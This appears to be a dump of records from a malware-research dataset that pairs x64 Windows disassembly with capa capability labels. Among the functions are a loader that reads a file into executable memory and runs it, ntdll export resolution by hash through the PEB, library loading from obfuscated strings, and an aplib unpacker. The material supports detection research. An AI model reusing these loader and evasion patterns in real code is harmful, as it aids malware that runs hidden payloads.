joyce8/EMBER2024-capa huggingface dataset:
Function at 0x14000113b
Capabilities:
Terminate process

Disassembly:
jmp 0x140002a60
mov qword [rsp + 8], rcx
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetUnhandledExceptionFilter]
mov rcx, qword [rsp + 0x30]
call qword [sym.imp.KERNEL32.dll_UnhandledExceptionFilter]
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov edx, 0xc0000409
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
add rsp, 0x28
ret

Function at 0x14000117c
Capabilities:
Execute shellcode via indirect call
Get file size
Read file on windows

Disassembly:
jmp 0x1400014e0
mov qword [rsp + 0x10], rdx
mov dword [rsp + 8], ecx
push rbp
push rdi
sub rsp, 0x188
lea rbp, [rsp + 0x40]
lea rdi, [rsp + 0x40]
mov ecx, 0x22
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov ecx, dword [rsp + 0x1a8]
mov rax, qword [section..data]
xor rax, rbp
mov qword [rbp + 0x138], rax
lea rcx, [0x14000f09f]
call fcn.140001226
mov eax, 8
imul rax, rax, 1
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x80
mov dword [rsp + 0x20], 3
xor r9d, r9d
mov r8d, 1
mov edx, 0x10000000
mov rcx, qword [rbp + 0x168]
mov rcx, qword [rcx + rax]
call qword [sym.imp.KERNEL32.dll_CreateFileA]
mov qword [rbp + 0x48], rax
cmp qword [rbp + 0x48], 0xffffffffffffffff
jne 0x14000157c
xor eax, eax
jmp 0x1400015d0
xor edx, edx
mov rcx, qword [rbp + 0x48]
call qword [sym.imp.KERNEL32.dll_GetFileSize]
mov dword [rbp + 4], eax
mov eax, dword [rbp + 4]
mov r9d, 0x40
mov r8d, 0x1000
mov edx, eax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov qword [rbp + 0x68], rax
mov qword [rsp + 0x20], 0
lea r9, [rbp + 0x24]
mov r8d, dword [rbp + 4]
mov rdx, qword [rbp + 0x68]
mov rcx, qword [rbp + 0x48]
call qword [sym.imp.KERNEL32.dll_ReadFile]
call qword [rbp + 0x68]
jmp 0x1400015ce
xor eax, eax
mov rdi, rax
lea rcx, [rbp - 0x40]
lea rdx, [0x140009c00]
call fcn.1400011ef
mov rax, rdi
mov rcx, qword [rbp + 0x138]
xor rcx, rbp
call fcn.140001118
lea rsp, [rbp + 0x148]
pop rdi
pop rbp
ret

Function at 0x140001186
Capabilities:
Parse pe header

Disassembly:
jmp 0x140003db0
sub rsp, 0x38
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov qword [rsp + 0x20], rax
cmp qword [rsp + 0x20], 0
jne 0x140003dd0
xor al, al
jmp 0x140003e51
mov rax, qword [rsp + 0x20]
movzx eax, word [rax]
cmp eax, 0x5a4d
je 0x140003de3
xor al, al
jmp 0x140003e51
mov rax, qword [rsp + 0x20]
movsxd rax, dword [rax + 0x3c]
mov rcx, qword [rsp + 0x20]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x28], rax
mov rax, qword [rsp + 0x28]
cmp dword [rax], 0x4550
je 0x140003e0d
xor al, al
jmp 0x140003e51
mov rax, qword [rsp + 0x28]
movzx eax, word [rax + 0x18]
cmp eax, 0x20b
je 0x140003e21
xor al, al
jmp 0x140003e51
mov rax, qword [rsp + 0x28]
cmp dword [rax + 0x84], 0xe
ja 0x140003e33
xor al, al
jmp 0x140003e51
mov eax, 8
imul rax, rax, 0xe
mov rcx, qword [rsp + 0x28]
cmp dword [rcx + rax + 0x88], 0
jne 0x140003e4f
xor al, al
jmp 0x140003e51
mov al, 1
add rsp, 0x38
ret
Function at 0x1400014e0
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Get file size
Read file on windows

Disassembly:
jmp 0x1400014e0
mov qword [rsp + 0x10], rdx
mov dword [rsp + 8], ecx
push rbp
push rdi
sub rsp, 0x188
lea rbp, [rsp + 0x40]
lea rdi, [rsp + 0x40]
mov ecx, 0x22
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov ecx, dword [rsp + 0x1a8]
mov rax, qword [section..data]
xor rax, rbp
mov qword [rbp + 0x138], rax
lea rcx, [0x14000f09f]
call fcn.140001226
mov eax, 8
imul rax, rax, 1
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x80
mov dword [rsp + 0x20], 3
xor r9d, r9d
mov r8d, 1
mov edx, 0x10000000
mov rcx, qword [rbp + 0x168]
mov rcx, qword [rcx + rax]
call qword [sym.imp.KERNEL32.dll_CreateFileA]
mov qword [rbp + 0x48], rax
cmp qword [rbp + 0x48], 0xffffffffffffffff
jne 0x14000157c
xor eax, eax
jmp 0x1400015d0
xor edx, edx
mov rcx, qword [rbp + 0x48]
call qword [sym.imp.KERNEL32.dll_GetFileSize]
mov dword [rbp + 4], eax
mov eax, dword [rbp + 4]
mov r9d, 0x40
mov r8d, 0x1000
mov edx, eax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov qword [rbp + 0x68], rax
mov qword [rsp + 0x20], 0
lea r9, [rbp + 0x24]
mov r8d, dword [rbp + 4]
mov rdx, qword [rbp + 0x68]
mov rcx, qword [rbp + 0x48]
call qword [sym.imp.KERNEL32.dll_ReadFile]
call qword [rbp + 0x68]
jmp 0x1400015ce
xor eax, eax
mov rdi, rax
lea rcx, [rbp - 0x40]
lea rdx, [0x140009c00]
call fcn.1400011ef
mov rax, rdi
mov rcx, qword [rbp + 0x138]
xor rcx, rbp
call fcn.140001118
lea rsp, [rbp + 0x148]
pop rdi
pop rbp
ret
Function at 0x1409e0a78
Capabilities:
Decompress data using aplib

Disassembly:
call 0x1409e0bff
push r10
mov r10, rsp
push r10
mov rsi, qword [r10 + 0x10]
mov rdi, qword [r10 + 0x20]
cld
mov dl, 0x80
mov al, byte [rsi]
inc rsi
mov byte [rdi], al
inc rdi
mov ebx, 2
add dl, dl
jne 0x1409e0aa9
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0x1409e0a8f
add dl, dl
jne 0x1409e0ab6
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0x1409e0b16
xor eax, eax
add dl, dl
jne 0x1409e0ac5
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0x1409e0bcd
add dl, dl
jne 0x1409e0ad6
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x1409e0ae3
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x1409e0af0
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x1409e0afd
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
je 0x1409e0b0a
push rdi
mov eax, eax
sub rdi, rax
mov al, byte [rdi]
pop rdi
mov byte [rdi], al
inc rdi
mov ebx, 2
jmp 0x1409e0a9e
mov eax, 1
add dl, dl
jne 0x1409e0b26
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x1409e0b33
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0x1409e0b1b
sub eax, ebx
mov ebx, 1
jne 0x1409e0b6c
mov ecx, 1
add dl, dl
jne 0x1409e0b4e
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x1409e0b5b
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0x1409e0b43
push rsi
mov rsi, rdi
sub rsi, rbp
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0x1409e0a9e
dec eax
shl eax, 8
mov al, byte [rsi]
inc rsi
mov ebp, eax
mov ecx, 1
add dl, dl
jne 0x1409e0b88
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x1409e0b95
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0x1409e0b7d
cmp eax, 0x7d00
jae 0x1409e0bbb
cmp eax, 0x500
jb 0x1409e0bb6
inc ecx
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0x1409e0a9e
cmp eax, 0x7f
ja 0x1409e0bbe
add ecx, 2
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0x1409e0a9e
mov al, byte [rsi]
inc rsi
xor ecx, ecx
shr al, 1
je 0x1409e0bf2
adc ecx, 2
mov ebp, eax
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
mov ebx, 1
jmp 0x1409e0a9e
pop r10
sub rdi, qword [r10 + 0x20]
mov eax, edi
pop r10
ret 0x20
Function at 0x140001378
Capabilities:
Parse pe header

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x20
mov rax, qword [0x14002a9c0]
mov dword [rax], 1
mov rax, qword [0x14002a9d0]
mov dword [rax], 1
mov rax, qword [0x14002a9e0]
mov dword [rax], 1
mov rax, qword [0x14002a960]
mov qword [rbp - 8], rax
mov rax, qword [rbp - 8]
movzx eax, word [rax]
cmp ax, 0x5a4d
je 0x1400013c9
mov eax, 0
jmp 0x140001476
mov rax, qword [rbp - 8]
mov eax, dword [rax + 0x3c]
movsxd rdx, eax
mov rax, qword [rbp - 8]
add rax, rdx
mov qword [rbp - 0x10], rax
mov rax, qword [rbp - 0x10]
mov eax, dword [rax]
cmp eax, 0x4550
je 0x1400013f5
mov eax, 0
jmp 0x140001476
mov rax, qword [rbp - 0x10]
add rax, 0x18
mov qword [rbp - 0x18], rax
mov rax, qword [rbp - 0x18]
movzx eax, word [rax]
movzx eax, ax
cmp eax, 0x10b
je 0x14000141b
cmp eax, 0x20b
je 0x140001442
jmp 0x140001471
mov rax, qword [rbp - 0x18]
mov eax, dword [rax + 0x5c]
cmp eax, 0xe
ja 0x14000142e
mov eax, 0
jmp 0x140001476
mov rax, qword [rbp - 0x18]
mov eax, dword [rax + 0xd0]
test eax, eax
setne al
movzx eax, al
jmp 0x140001476
mov rax, qword [rbp - 0x18]
mov qword [rbp - 0x20], rax
mov rax, qword [rbp - 0x20]
mov eax, dword [rax + 0x6c]
cmp eax, 0xe
ja 0x14000145d
mov eax, 0
jmp 0x140001476
mov rax, qword [rbp - 0x20]
mov eax, dword [rax + 0xe0]
test eax, eax
setne al
movzx eax, al
jmp 0x140001476
mov eax, 0
add rsp, 0x20
pop rbp
ret

Function at 0x1400034e0
Capabilities:
Terminate process

Disassembly:
sub rsp, 0x28
mov rcx, qword [0x1400310a8]
test rcx, rcx
je 0x140003530
mov edx, 0x1388
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
test eax, eax
jne 0x140003518
mov rcx, qword [0x1400310a8]
add rsp, 0x28
jmp qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [0x1400310a8]
xor edx, edx
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
jmp 0x1400034ff
add rsp, 0x28
ret
Function at 0x140001000
Capabilities:
Access peb ldr_data
Encode data using xor
Get ntdll base address
Resolve function by parsing pe exports

Disassembly:
sub rsp, 0x18
cmp dword [0x140005050], 0
jne 0x1400011e0
mov rax, qword gs:[0x60]
xor edx, edx
mov rcx, qword [rax + 0x18]
mov r9, qword [rcx + 0x10]
mov rax, qword [r9 + 0x30]
test rax, rax
je 0x1400011ea
mov r8, rax
movsxd rax, dword [rax + 0x3c]
mov ecx, dword [rax + r8 + 0x88]
test ecx, ecx
je 0x14000106e
lea rdx, [r8 + rcx]
mov ecx, dword [r8 + rcx + 0xc]
mov eax, dword [rcx + r8]
or eax, 0x20202020
cmp eax, 0x6c64746e
jne 0x14000106e
mov eax, dword [rcx + r8 + 4]
or eax, 0x20202020
cmp eax, 0x6c642e6c
je 0x14000107a
mov r9, qword [r9]
mov rax, qword [r9 + 0x30]
test rax, rax
jne 0x140001031
test rdx, rdx
je 0x1400011ea
mov qword [rsp + 0x20], rbx
mov ebx, dword [rdx + 0x18]
mov qword [rsp + 0x28], rbp
mov ebp, dword [rdx + 0x24]
mov qword [rsp + 0x30], rsi
add rbp, r8
mov esi, dword [rdx + 0x20]
mov qword [rsp + 0x38], rdi
add rsi, r8
mov qword [rsp + 0x10], r12
mov r12d, 0x775a
mov qword [rsp + 8], r14
mov r14d, dword [rdx + 0x1c]
add r14, r8
mov qword [rsp], r15
xor edx, edx
lea r15, [0x140005050]
nop word [rax + rax]
lea eax, [rbx - 1]
mov r10d, dword [rsi + rax*4]
mov ebx, eax
add r10, r8
mov edi, eax
cmp word [r10], r12w
jne 0x140001131
xor r11d, r11d
mov r9d, 0x92d861f5
mov rax, r10
movzx eax, word [rax]
mov ecx, r9d
ror ecx, 8
inc r11d
add ecx, eax
mov eax, r11d
add rax, r10
xor r9d, ecx
cmp byte [rax], 0
jne 0x1400010f0
lea rcx, [rdx*8]
inc edx
mov dword [rcx + r15 + 4], r9d
movzx eax, word [rbp + rdi*2]
mov eax, dword [r14 + rax*4]
mov dword [rcx + r15 + 8], eax
cmp edx, 0x1f4
je 0x140001135
test ebx, ebx
jne 0x1400010d0
mov r14, qword [rsp + 8]
lea eax, [rdx - 1]
mov r12, qword [rsp + 0x10]
xor r8d, r8d
mov rsi, qword [rsp + 0x30]
mov rbp, qword [rsp + 0x28]
mov dword [0x140005050], edx
test eax, eax
je 0x1400011d2
nop dword [rax]
mov ecx, edx
xor eax, eax
sub ecx, r8d
cmp ecx, 1
je 0x1400011c7
nop dword [rax]
mov ecx, eax
lea r9d, [rax + 1]
lea r10, [r9*8]
mov ebx, dword [r10 + r15 + 8]
lea r11, [rcx*8]
mov edi, dword [r11 + r15 + 8]
cmp edi, ebx
jbe 0x1400011b8
mov ecx, dword [r11 + r15 + 4]
mov eax, dword [r10 + r15 + 4]
mov dword [r11 + r15 + 4], eax
mov dword [r10 + r15 + 4], ecx
mov dword [r11 + r15 + 8], ebx
mov dword [r10 + r15 + 8], edi
mov edx, dword [0x140005050]
mov ecx, edx
mov eax, r9d
sub ecx, r8d
dec ecx
cmp r9d, ecx
jb 0x140001170
inc r8d
lea eax, [rdx - 1]
cmp r8d, eax
jb 0x140001160
mov rdi, qword [rsp + 0x38]
mov rbx, qword [rsp + 0x20]
mov r15, qword [rsp]
mov eax, 1
add rsp, 0x18
ret
xor eax, eax
add rsp, 0x18
ret
Function at 0x140002394
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x1400023de
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x1400023de
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x1400023de
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x1400023de
cmp dword [rcx + 0x84], 0xe
jbe 0x1400023de
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x1400023e0
xor al, al
add rsp, 0x28
ret

Function at 0x141c4c0b0
Capabilities:
Decompress data using aplib

Disassembly:
call 0x141c4c237
push r10
mov r10, rsp
push r10
mov rsi, qword [r10 + 0x10]
mov rdi, qword [r10 + 0x20]
cld
mov dl, 0x80
mov al, byte [rsi]
inc rsi
mov byte [rdi], al
inc rdi
mov ebx, 2
add dl, dl
jne 0x141c4c0e1
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0x141c4c0c7
add dl, dl
jne 0x141c4c0ee
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0x141c4c14e
xor eax, eax
add dl, dl
jne 0x141c4c0fd
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0x141c4c205
add dl, dl
jne 0x141c4c10e
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x141c4c11b
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x141c4c128
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x141c4c135
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
je 0x141c4c142
push rdi
mov eax, eax
sub rdi, rax
mov al, byte [rdi]
pop rdi
mov byte [rdi], al
inc rdi
mov ebx, 2
jmp 0x141c4c0d6
mov eax, 1
add dl, dl
jne 0x141c4c15e
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x141c4c16b
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0x141c4c153
sub eax, ebx
mov ebx, 1
jne 0x141c4c1a4
mov ecx, 1
add dl, dl
jne 0x141c4c186
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x141c4c193
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0x141c4c17b
push rsi
mov rsi, rdi
sub rsi, rbp
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0x141c4c0d6
dec eax
shl eax, 8
mov al, byte [rsi]
inc rsi
mov ebp, eax
mov ecx, 1
add dl, dl
jne 0x141c4c1c0
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x141c4c1cd
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0x141c4c1b5
cmp eax, 0x7d00
jae 0x141c4c1f3
cmp eax, 0x500
jb 0x141c4c1ee
inc ecx
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0x141c4c0d6
cmp eax, 0x7f
ja 0x141c4c1f6
add ecx, 2
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0x141c4c0d6
mov al, byte [rsi]
inc rsi
xor ecx, ecx
shr al, 1
je 0x141c4c22a
adc ecx, 2
mov ebp, eax
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
mov ebx, 1
jmp 0x141c4c0d6
pop r10
sub rdi, qword [r10 + 0x20]
mov eax, edi
pop r10
ret 0x20
Function at 0x1800012d0
Capabilities:
Create thread

Disassembly:
mov qword [rsp + 0x18], r8
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
sub rsp, 0x48
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
xor r9d, r9d
lea r8, section..text
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov edx, 0x33
lea rcx, str.N__PcrdgouXzvqaj48eWbr_oeg__qmupqbjqtOwueefir_nl
call fcn.180001180
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov qword [rsp + 0x30], rax
cmp qword [rsp + 0x30], 0
jne 0x180001336
mov eax, 1
jmp 0x18000137e
mov edx, 0x11
lea rcx, str.Omp__xCdYusTcmb_q
call fcn.180001180
mov rdx, rax
mov rcx, qword [rsp + 0x30]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rsp + 0x38], rax
cmp qword [rsp + 0x38], 0
jne 0x180001369
mov eax, 1
jmp 0x18000137e
mov r8, qword [rsp + 0x60]
mov rdx, qword [rsp + 0x58]
mov rcx, qword [rsp + 0x50]
call qword [rsp + 0x38]
xor eax, eax
add rsp, 0x48
ret
Function at 0x14000e7f0
Capabilities:
Read file on windows

Disassembly:
push rbx
push rsi
push r14
sub rsp, 0x30
mov r14, r8
mov rsi, rdx
mov rbx, rcx
test r8, r8
jg 0x14000e812
xor eax, eax
add rsp, 0x30
pop r14
pop rsi
pop rbx
ret
cmp qword [rcx + 0x68], 0
mov qword [rsp + 0x28], rbp
mov qword [rsp + 0x20], rdi
je 0x14000e88c
mov rdi, r14
mov rcx, rbx
call fcn.140014ae0
test rax, rax
jle 0x14000e864
cmp rdi, rax
mov rbp, rdi
mov rcx, rsi
cmovge rbp, rax
mov rax, qword [rbx + 0x38]
mov r8, rbp
mov rdx, qword [rax]
call fcn.1400f64c0
mov rax, qword [rbx + 0x50]
sub rdi, rbp
sub dword [rax], ebp
mov rcx, qword [rbx + 0x38]
movsxd rax, ebp
add qword [rcx], rax
jmp 0x14000e87c
mov rax, qword [rbx]
mov rcx, rbx
call qword [rax + gethostname]
cmp eax, 0xffffffff
je 0x14000e884
mov byte [rsi], al
dec rdi
mov ebp, 1
add rsi, rbp
test rdi, rdi
jg 0x14000e826
sub r14, rdi
jmp 0x14000e96f
mov rax, qword [rcx + 0x38]
mov rbp, r14
mov rdx, qword [rax]
test rdx, rdx
je 0x14000e8a3
mov rax, qword [rcx + 0x50]
mov ecx, dword [rax]
jmp 0x14000e8a5
xor ecx, ecx
movsxd rax, ecx
test ecx, ecx
je 0x14000e8d7
cmp rax, r14
mov rdi, r14
mov rcx, rsi
cmovb rdi, rax
mov r8, rdi
call fcn.1400f64c0
mov rax, qword [rbx + 0x50]
add rsi, rdi
sub rbp, rdi
sub dword [rax], edi
mov rcx, qword [rbx + 0x38]
movsxd rax, edi
add qword [rcx], rax
cmp qword [rbx + 0x80], 0
je 0x14000e96c
mov r8, qword [rbx + 0x18]
lea rax, [rbx + 0x70]
cmp qword [r8], rax
jne 0x14000e912
mov rcx, qword [rbx + 0x88]
mov rdx, qword [rbx + 0x90]
mov qword [r8], rcx
sub edx, ecx
mov rax, qword [rbx + 0x38]
mov qword [rax], rcx
mov rax, qword [rbx + 0x50]
mov dword [rax], edx
cmp rbp, 0xfff
jbe 0x14000e94d
nop dword [rax + rax]
mov r9, qword [rbx + 0x80]
mov edx, 1
mov r8d, 0xfff
mov rcx, rsi
call fcn.1400aeff0
add rsi, rax
sub rbp, rax
cmp rax, 0xfff
jne 0x14000e96c
cmp rbp, rax
ja 0x14000e920
test rbp, rbp
je 0x14000e96c
mov r9, qword [rbx + 0x80]
mov r8, rbp
mov edx, 1
mov rcx, rsi
call fcn.1400aeff0
sub rbp, rax
sub r14, rbp
mov rbp, qword [rsp + 0x28]
mov rax, r14
mov rdi, qword [rsp + 0x20]
add rsp, 0x30
pop r14
pop rsi
pop rbx
ret

Function at 0x14002fbf0
Capabilities:
Encode data using xor
Hash data with crc32

Disassembly:
lea r11, [0x14012b160]
mov r9, rdx
not ecx
cmp r8, 4
jb 0x14002fc69
mov r10, r8
shr r10, 2
imul rax, r10, 0xfffffffffffffffc
add r8, rax
movzx edx, byte [r9]
mov eax, ecx
xor rdx, rax
shr ecx, 8
movzx eax, dl
movzx edx, byte [r9 + 1]
xor ecx, dword [r11 + rax*4]
mov eax, ecx
shr ecx, 8
xor rdx, rax
movzx eax, dl
movzx edx, byte [r9 + 2]
xor ecx, dword [r11 + rax*4]
mov eax, ecx
shr ecx, 8
xor rdx, rax
movzx eax, dl
movzx edx, byte [r9 + 3]
add r9, 4
xor ecx, dword [r11 + rax*4]
mov eax, ecx
shr ecx, 8
xor rdx, rax
movzx eax, dl
xor ecx, dword [r11 + rax*4]
sub r10, 1
jne 0x14002fc10
test r8, r8
je 0x14002fc8d
nop
movzx edx, byte [r9]
lea r9, [r9 + 1]
mov eax, ecx
shr ecx, 8
xor rdx, rax
movzx eax, dl
xor ecx, dword [r11 + rax*4]
sub r8, 1
jne 0x14002fc70
not ecx
mov eax, ecx
ret
Function at 0x1400473e0
Capabilities:
Receive data
Receive data on socket

Disassembly:
push rbx
sub rsp, 0x20
mov rbx, r9
xor r9d, r9d
call qword [sym.imp.WS2_32.dll_recv]
movsxd rcx, eax
cmp rcx, 0xffffffffffffffff
jne 0x14004741b
call qword [sym.imp.WS2_32.dll_WSAGetLastError]
mov ecx, gethostname
mov edx, 0x51
cmp eax, 0x2733
cmove ecx, edx
mov eax, ecx
add rsp, 0x20
pop rbx
ret
mov qword [rbx], rcx
xor eax, eax
add rsp, 0x20
pop rbx
ret

Function at 0x1400475b0
Capabilities:
Receive data
Receive data on socket
Send data
Send data on socket

Disassembly:
push rbx
push rbp
push rsi
push rdi
push r12
push r13
push r14
push r15
sub rsp, 0xb8
mov rax, qword [0x14013a180]
xor rax, rsp
mov qword [rsp + 0xa0], rax
mov r14, qword [rsp + 0x120]
mov rsi, rcx
movsxd rcx, edx
xor r13d, r13d
mov r12, r9
mov r15, r8
mov rax, qword [rsi + 0x430]
mov rbp, qword [rsi + rcx*8 + 0x258]
lea rbx, [rcx + 0x15]
shl rbx, 5
add rbx, rsi
mov rdi, qword [rbx + 8]
sub rdi, qword [rbx + 0x10]
test byte [rax + 0x7c], 3
je 0x1400476b4
lea rax, [0x140047460]
cmp qword [rsi + rcx*8 + 0x280], rax
jne 0x1400476b4
cmp qword [rbx], r13
je 0x140047638
test rdi, rdi
je 0x1400476b4
mov rdx, 0xffffffffffffffff
xor r9d, r9d
mov r8, rdx
mov rcx, rbp
call fcn.14004a7c0
cmp eax, 0xffffffff
je 0x1400476b4
test al, 1
je 0x1400476b4
mov rcx, qword [rbx]
test rcx, rcx
jne 0x140047693
mov rax, qword [rsi]
mov ecx, dword [rax + 0xb68]
add ecx, ecx
movsxd rcx, ecx
mov qword [rbx + 8], rcx
call qword [str.p__v_]
mov rdi, qword [rbx + 8]
mov rcx, rax
mov qword [rbx], rax
mov qword [rbx + 0x10], r13
mov qword [rbx + 0x18], r13
test rax, rax
jne 0x140047693
mov qword [rbx + 8], r13
jmp 0x1400476b4
mov rdx, qword [rbx + 0x10]
xor r9d, r9d
add rdx, rcx
mov r8d, edi
mov rcx, rbp
call qword [sym.imp.WS2_32.dll_recv]
movsxd rcx, eax
test eax, eax
jle 0x1400476b4
add qword [rbx + 0x10], rcx
xor r9d, r9d
mov r8d, r12d
mov rdx, r15
mov rcx, rbp
call qword [sym.imp.WS2_32.dll_send]
movsxd rdi, eax
mov dword [r14], r13d
cmp rdi, 0xffffffffffffffff
jne 0x140047721
call qword [sym.imp.WS2_32.dll_WSAGetLastError]
mov ebx, eax
cmp eax, 0x2733
jne 0x1400476ed
mov dword [r14], 0x51
mov rax, r13
jmp 0x140047724
mov r8d, 0x80
lea rdx, [rsp + 0x20]
mov ecx, ebx
call fcn.140034070
mov rcx, qword [rsi]
lea rdx, str.Send_failure:__s
mov r8, rax
call fcn.140047060
mov rcx, qword [rsi]
mov dword [rcx + 0x1140], ebx
mov dword [r14], gethostname
mov rax, rdi
mov rcx, qword [rsp + 0xa0]
xor rcx, rsp
call fcn.1400844a0
add rsp, 0xb8
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
pop rbx
ret

Function at 0x140047db0
Capabilities:
Receive data
Receive data on socket

Disassembly:
sub rsp, 0x28
cmp byte [rcx + 0x2f0], 0
je 0x140047dcd
call fcn.140040d70
test eax, eax
jne 0x140047df3
xor al, al
add rsp, 0x28
ret
mov rcx, qword [rcx + 0x258]
cmp rcx, 0xffffffffffffffff
je 0x140047dc6
mov r9d, 2
lea rdx, [rsp + 0x30]
lea r8d, [r9 - 1]
call qword [sym.imp.WS2_32.dll_recv]
test eax, eax
je 0x140047dc6
mov al, 1
add rsp, 0x28
ret
Function at 0x140049940
Capabilities:
Read file on windows

Disassembly:
sub rsp, 0x28
call fcn.1400c9140
cdqe
add rsp, 0x28
ret

Function at 0x140049c30
Capabilities:
Get common file path

Disassembly:
push rbx
push rbp
push rdi
sub rsp, 0x20
mov rbx, rcx
xor ebp, ebp
lea rcx, [0x1400fef88]
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov rdi, rax
test rax, rax
jne 0x140049c5a
add rsp, 0x20
pop rdi
pop rbp
pop rbx
ret
lea rdx, str.LoadLibraryExA
mov qword [rsp + 0x48], r14
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rdx, [0x1400fefa8]
mov rcx, rbx
mov r14, rax
call fcn.1400babf0
test rax, rax
je 0x140049cbd
mov rcx, rbx
test r14, r14
je 0x140049ca7
xor edx, edx
lea r8d, [rdx + 8]
call r14
mov r14, qword [rsp + 0x48]
mov rbp, rax
add rsp, 0x20
pop rdi
pop rbp
pop rbx
ret
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov r14, qword [rsp + 0x48]
mov rbp, rax
add rsp, 0x20
pop rdi
pop rbp
pop rbx
ret
test r14, r14
je 0x140049cf5
lea rdx, str.AddDllDirectory
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
test rax, rax
je 0x140049cf5
xor edx, edx
mov r8d, 0x800
mov rcx, rbx
call r14
mov r14, qword [rsp + 0x48]
mov rbp, rax
add rsp, 0x20
pop rdi
pop rbp
pop rbx
ret
xor edx, edx
mov qword [rsp + 0x50], r15
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
mov r15d, eax
test eax, eax
je 0x140049db8
mov qword [rsp + 0x40], rsi
mov rsi, 0xffffffffffffffff
mov rdx, rsi
nop
inc rdx
cmp byte [rbx + rdx], bpl
jne 0x140049d20
lea ecx, [rax + 1]
add rcx, rdx
call qword [str.p__v_]
mov rdi, rax
test rax, rax
je 0x140049daa
mov edx, r15d
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
test eax, eax
je 0x140049daa
mov rax, rsi
cmp byte [rdi + rax + 1], bpl
lea rax, [rax + 1]
jne 0x140049d50
mov ecx, 0x5c
mov word [rax + rdi], cx
inc rsi
cmp byte [rdi + rsi], bpl
jne 0x140049d64
mov rcx, rdi
sub rcx, rbx
add rcx, rsi
nop word [rax + rax]
movzx eax, byte [rbx]
mov byte [rcx + rbx], al
lea rbx, [rbx + 1]
test al, al
jne 0x140049d80
mov rcx, rdi
test r14, r14
je 0x140049da1
xor edx, edx
lea r8d, [rdx + 8]
call r14
jmp 0x140049da7
